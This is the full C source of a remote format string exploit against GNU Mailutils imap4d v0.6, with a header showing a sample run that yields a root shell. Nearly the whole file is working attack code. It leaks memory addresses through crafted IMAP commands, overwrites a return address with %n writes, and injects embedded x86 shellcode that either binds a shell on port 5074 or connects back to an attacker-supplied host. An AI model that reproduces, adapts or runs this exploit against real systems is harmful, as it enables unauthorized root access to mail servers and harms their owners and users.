/* mu-imap4d_fsexp.c
 *
 * GNU Mailutils imap4d v0.6 remote format string exploit
 * by CoKi <coki@nosystem.com.ar>
 *
 * Original Reference:
 * http://www.idefense.com/application/poi/display?id=246&type=vulnerabilities
 *
 * coki@nosystem:/home/coki/audit$ ./mu-imap4d_fsexp
 *
 *  GNU Mailutils imap4d v0.6 remote format string exploit
 *  by CoKi <coki@nosystem.com.ar>
 *
 *  use: ./mu-imap4d_fsexp -h <target_host> [-p <target_port>]
 *       ./mu-imap4d_fsexp -h <target_host> -c <your_host> [-b <your_port>]
 *
 *                 -p      target imapd port (143 by default)
 *                 -c      your host/ip
 *                 -b      your port (45295 by default)
 *
 * coki@nosystem:/home/coki/audit$ ./mu-imap4d_fsexp -h 10.0.0.1
 *
 *  GNU Mailutils imap4d v0.6 remote format string exploit
 *  by CoKi <coki@nosystem.com.ar>
 *
 *  [*] verifying host             : 10.0.0.1
 *  [*] imapd port                 : 143
 *  [*] connecting...              : done!
 *
 *  [*] getting target info...
 *  [*] buffer address             : 0x08059810
 *  [*] shellcode address          : 0x080599a0
 *  [*] basic return address       : 0xbffffa28
 *
 *  [*] searching ret address...   : 0xbffff988
 *
 *  [!] you have a shell :)
 *
 * Linux firewall 2.4.31 #1 SMP Wed Jun 22 23:13:19 ART 2005 i586 unknown
 * uid=0(root) gid=12(mail) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
 *
 * Tested in Slackware Linux 9.0 / 10.0 / 10.1
 *
 * by CoKi <coki@nosystem.com.ar>
 * No System Group - http://www.nosystem.com.ar
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define BUFFERSIZE      2048
#define ERROR           -1
#define TIMEOUT         3
#define PORTBIND  5074
#define CONNBACK  45295
#define IMAPD           143

void use(char *program);
int check(unsigned long addr);
int connect_timeout(int sfd, struct sockaddr *serv_addr,
  socklen_t addrlen, int timeout);
void exploit(char *host, unsigned int imapdport);
void shell(char *host, unsigned port);
void getinfo(char *host, unsigned int imapdport);
int chkshaddr(char *host, unsigned int imapdport, int i);

/*
 * s0t4ipv6@Shellcode.com.ar
 * x86 portbind a shell in port 5074
 * 92 bytes.
 */

char port_bind[] =
  "\x31\xc0\x50\x40\x89\xc3\x50\x40"
  "\x50\x89\xe1\xb0\x66\xcd\x80\x31"
  "\xd2\x52\x66\x68\x13\xd2\x43\x66"
  "\x53\x89\xe1\x6a\x10\x51\x50\x89"
  "\xe1\xb0\x66\xcd\x80\x40\x89\x44"
  "\x24\x04\x43\x43\xb0\x66\xcd\x80"
  "\x83\xc4\x0c\x52\x52\x43\xb0\x66"
  "\xcd\x80\x93\x89\xd1\xb0\x3f\xcd"
  "\x80\x41\x80\xf9\x03\x75\xf6\x52"
  "\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
  "\x62\x69\x89\xe3\x52\x53\x89\xe1"
  "\xb0\x0b\xcd\x80";

/*
 * BSD x86 shellcode by eSDee of Netric (www.netric.org)
 * 124 byte - connect back shellcode (port=0xb0ef)
 */

char conn_back[] =
  "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
  "\x06\x51\xb1\x01\x51\xb1\x02\x51"
  "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
  "\x89\xc2\x31\xc0\x31\xc9\x51\x51"
  "\x68\xff\xff\xff\xff\x66\x68\xff"
  "\xff\xb1\x02\x66\x51\x89\xe7\xb3"
  "\x10\x53\x57\x52\x89\xe1\xb3\x03"
  "\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
  "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
  "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
  "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
  "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
  "\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
  "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
  "\x2f\x62\x69\x89\xe3\x50\x53\x89"
  "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
  "\x01\xcd\x80";

int bretaddr=0, shaddr=0;
unsigned int pos=0, cback=0, shsize;
unsigned short rport=CONNBACK;
in_addr_t rhost=0;

int main(int argc, char *argv[]) { 
  char opt, *host=NULL, *rh=NULL;
  int sockfd;
  unsigned int imapdport=IMAPD;
  struct hostent *he;
  struct sockaddr_in dest_dir;

  printf("\n GNU Mailutils imap4d v0.6 remote format string exploit\n");
  printf(" by CoKi <coki@nosystem.com.ar>\n\n");

  while((opt = getopt(argc,argv,"h:p:c:b:")) != EOF) {
    switch (opt) {
      case 'h':
        host = optarg;
        break;
      case 'p':
        imapdport = atoi(optarg);
        break;
      case 'c':
        rhost = inet_addr(optarg);
        rh = optarg;
        cback++;
        break;
      case 'b':
        rport = atoi(optarg);
        break;
      default:
        use(argv[0]);
        break;
    }
  }

  if(host == NULL) use(argv[0]);

  if(cback) {
    printf(" [*] verifying your host\t:");
    fflush(stdout);

    if((he=gethostbyname(rh)) == NULL) {
      herror(" gethostbyname()");
      printf("\n");
      exit(1);
    }

    shsize = strlen(conn_back);

    conn_back[33]=(rhost & 0x000000ff);
    conn_back[34]=(rhost & 0x0000ff00) >> 8;
    conn_back[35]=(rhost & 0x00ff0000) >> 16;
    conn_back[36]=(rhost & 0xff000000) >> 24;

    conn_back[39]=(rport & 0xff00) >> 8;
    conn_back[40]=(rport & 0x00ff);

    printf(" %s\n", inet_ntoa(*((struct in_addr *)he->h_addr)));
    printf(" [*] connect back port\t\t: %u\n", rport);
  }

  if(strlen(conn_back) < shsize) {
    printf("\n [!] failed! your host or port contain null-bytes\n\n");
    exit(1);
  }

  printf(" [*] verifying target host\t:");

  if((he=gethostbyname(host)) == NULL) {
    herror(" gethostbyname()");
    printf("\n");
    exit(1);
        }

  printf(" %s\n", inet_ntoa(*((struct in_addr *)he->h_addr)));
  printf(" [*] target imapd port\t\t: %u\n\n", imapdport);

  printf(" [*] connecting...\t\t:");
  fflush(stdout);

  if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
    perror(" socket()");
    printf("\n");
    exit(1);
  }

  dest_dir.sin_family = AF_INET;
  dest_dir.sin_port = htons(imapdport);
  dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
  bzero(&(dest_dir.sin_zero), 8);

  if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
    sizeof(struct sockaddr), TIMEOUT) == ERROR) {

    printf(" closed\n\n");
    exit(1);
        }

  printf(" done!\n\n");

  getinfo(host, imapdport);

  exploit(host, imapdport);
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
  socklen_t addrlen, int timeout) {

  int res, slen, flags;
  struct timeval tv;
  struct sockaddr_in addr;
  fd_set rdf, wrf;
        
  fcntl(sfd, F_SETFL, O_NONBLOCK);
        
  res = connect(sfd, serv_addr, addrlen);

  if (res >= 0) return res;

  FD_ZERO(&rdf);
  FD_ZERO(&wrf);

  FD_SET(sfd, &rdf);
  FD_SET(sfd, &wrf);
  bzero(&tv, sizeof(tv));
  tv.tv_sec = timeout;

  if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
    return -1;

  if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
    slen = sizeof(addr);
    if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
    return -1;

    flags = fcntl(sfd, F_GETFL, NULL);
    fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

    return 0;
  }

  return -1;
}

void shell(char *host, unsigned int port) {
  int sockfd, n;
  char buff[BUFFERSIZE], *command = "uname -a; id;\n";
  fd_set readfs;
  struct hostent *he;
  struct sockaddr_in dest_dir;

  he=gethostbyname(host);

  sockfd=socket(AF_INET, SOCK_STREAM, 0);

  dest_dir.sin_family = AF_INET;
  dest_dir.sin_port = htons(port);
  dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
  bzero(&(dest_dir.sin_zero), 8);

  if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
    sizeof(struct sockaddr), TIMEOUT) == ERROR) {

    printf("\r\r");
  }

  else {
    printf("\n\n [!] you have a shell :)\n\n");
    fflush(stdout);

    send(sockfd, command, strlen(command), 0);

    while(1) {
      FD_ZERO(&readfs);
      FD_SET(0, &readfs);
      FD_SET(sockfd, &readfs);
      if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
      if(FD_ISSET(0,&readfs)) {
        if((n = read(0,buff,sizeof(buff))) < 1)
        exit(0);
        if(send(sockfd, buff, n, 0) != n) exit(0);
      }
      if(FD_ISSET(sockfd,&readfs)) {
        if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
        write(1, buff, n);
      }
    }
  }
}

void getinfo(char *host, unsigned int imapdport) {
  char recvbuf[BUFFERSIZE], evilcmd[BUFFERSIZE], temp[BUFFERSIZE],*addr=NULL;
  struct hostent *he;
  struct sockaddr_in dest_dir;
  int sockfd, i;

  if((he=gethostbyname(host)) == NULL) {
    herror(" gethostbyname()");
    printf("\n");
    exit(1);
        }

  printf(" [*] getting target info...\n");
  fflush(stdout);
  
  for(i=1; i<50; i++) {

    bzero(recvbuf, sizeof(recvbuf));

    sockfd=socket(AF_INET, SOCK_STREAM, 0);

    dest_dir.sin_family = AF_INET;
    dest_dir.sin_port = htons(imapdport);
    dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
    bzero(&(dest_dir.sin_zero), 8);

    connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
      sizeof(struct sockaddr), TIMEOUT);

    read(sockfd, recvbuf, sizeof(recvbuf));

    memset(evilcmd, 0x00, sizeof(evilcmd));
    memset(evilcmd, 0x41, 496);
    strcat(evilcmd, "BBBBBBBBBBBB");
    sprintf(temp, ".%%%u$.8p\n", i);
    strcat(evilcmd, temp);

    write(sockfd, evilcmd, strlen(evilcmd));
    read(sockfd, recvbuf, sizeof(recvbuf));

    close(sockfd);

    addr = strstr(recvbuf, ".");
  
    if(pos == 0) if(strstr(addr, "42424242")) pos = i;

    if(shaddr == 0) {
      if(strstr(addr, "0x08")) {
        if(chkshaddr(host, imapdport, i)) {
          shaddr = strtoul(++addr, 0, 0);
          printf(" [*] buffer address\t\t: %.8p\n", shaddr);
          shaddr += 350;
          printf(" [*] shellcode address\t\t: %.8p\n", shaddr);
        }
      }
    }

    if(bretaddr == 0) {
      if(strstr(addr, "0xbf")) {
        bretaddr = strtoul(++addr, 0, 0);
        printf(" [*] basic return address\t: %.8p\n", bretaddr);
      }
    }

    if(pos != 0 && shaddr != 0 && bretaddr != 0) break;
  }

  if(shaddr == 0) {
    printf(" [*] shellcode address\t\t: not found!\n\n");
    exit(1);
  }

  if(bretaddr == 0) {
    printf(" [*] basic return address\t: not found!\n\n");
    exit(1);
  }

  printf("\n");
}

int chkshaddr(char *host, unsigned int imapdport, int i) {
  char recvbuf[BUFFERSIZE], evilcmd[BUFFERSIZE], temp[BUFFERSIZE],*addr=NULL;
  struct hostent *he;
  struct sockaddr_in dest_dir;
  int sockfd;

  he=gethostbyname(host);

  bzero(recvbuf, sizeof(recvbuf));

  sockfd=socket(AF_INET, SOCK_STREAM, 0);

  dest_dir.sin_family = AF_INET;
  dest_dir.sin_port = htons(imapdport);
  dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
  bzero(&(dest_dir.sin_zero), 8);

  connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
    sizeof(struct sockaddr), TIMEOUT);

  read(sockfd, recvbuf, sizeof(recvbuf));

  memset(evilcmd, 0x00, sizeof(evilcmd));
  memset(evilcmd, 0x41, 496);
  strcat(evilcmd, "BBBBBBBBBBBB");
  sprintf(temp, "%%%u$s\n", i);
  strcat(evilcmd, temp);

  write(sockfd, evilcmd, strlen(evilcmd));
  read(sockfd, recvbuf, sizeof(recvbuf));
  
  close(sockfd);

  if(strstr(recvbuf, "$s")) return 1;

  else return 0;
}

void exploit(char *host, unsigned int imapdport) {
  char evilcmd[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE];
  int cn1, cn2, cn3, cn4, sockfd, retaddr;
  unsigned int bal1, bal2, bal3, bal4;
  struct hostent *he;
  struct sockaddr_in dest_dir;

  if((he=gethostbyname(host)) == NULL) {
    herror(" gethostbyname()");
    printf("\n");
    exit(1);
        }

  for(retaddr=bretaddr; retaddr>=(bretaddr-500); retaddr -= 4) {
  
    printf(" [*] searching ret address...\t: %010p", retaddr);
    fflush(stdout);

    bzero(evilcmd, sizeof(evilcmd));
    memset(evilcmd, 0x90, 496);

    if(cback) memcpy(evilcmd + 350, conn_back, strlen(conn_back));

    else memcpy(evilcmd + 350, port_bind, strlen(port_bind));

    bzero(temp, sizeof(temp));
    sprintf(temp, "%s", &retaddr);
    strncat(evilcmd, temp, 4);
    retaddr++;
    sprintf(temp, "%s", &retaddr);
    strncat(evilcmd, temp, 4);
    retaddr++;
    sprintf(temp, "%s", &retaddr);
    strncat(evilcmd, temp, 4);

    bal1 = (shaddr & 0xffff0000) >> 16;
    bal2 = (shaddr & 0x0000ffff);

    cn1 = bal2 - 496 - 12;
    cn1 = check(cn1);
    cn2 = bal1 - bal2;
    cn2 = check(cn2);

    sprintf(temp, "%%%du%%%u$n%%%du%%%u$n", cn1, pos, cn2, pos+2);
    strcat(evilcmd, temp);
    strcat(evilcmd, "\n");

    if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
      perror(" socket");
      printf("\n");
      exit(1);
    }

    dest_dir.sin_family = AF_INET;
    dest_dir.sin_port = htons(imapdport);
    dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
    bzero(&(dest_dir.sin_zero), 8);

    if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
      sizeof(struct sockaddr), TIMEOUT) == ERROR) {

      printf(" closed\n\n");
      exit(1);
    }

    if (read(sockfd, recvbuf, sizeof(recvbuf)) <= 0) {
      perror(" read()");
      printf("\n");
      exit(1);
    }

    if (write(sockfd, evilcmd, strlen(evilcmd)) <= 0) {
      perror(" write()");
      printf("\n");
      exit(1);
    }

    close(sockfd);

    if(cback) {
      printf("\r\r");
      continue;
    }

    else shell(host, PORTBIND);

    retaddr -= 2;
  }

  if(cback) printf("\n\n [!] finished!\n\n");

  else printf("\n\n [!] failed!\n\n");
}

int check(unsigned long addr) {
  char tmp[128];
  snprintf(tmp, sizeof(tmp), "%d", addr);
  if(atoi(tmp) < 10)
  addr = addr + 65536;
  return addr;
}

void use(char *program) {
  printf(" use: %s -h <target_host> [-p <target_port>]\n", program);
  printf("      %s -h <target_host> -c <your_host> [-b <your_port>]\n\n", program);
  printf("    -p  target imapd port (143 by default)\n");
  printf("    -c  your host/ip\n");
  printf("    -b  your port (45295 by default)\n\n");
  exit(1);
}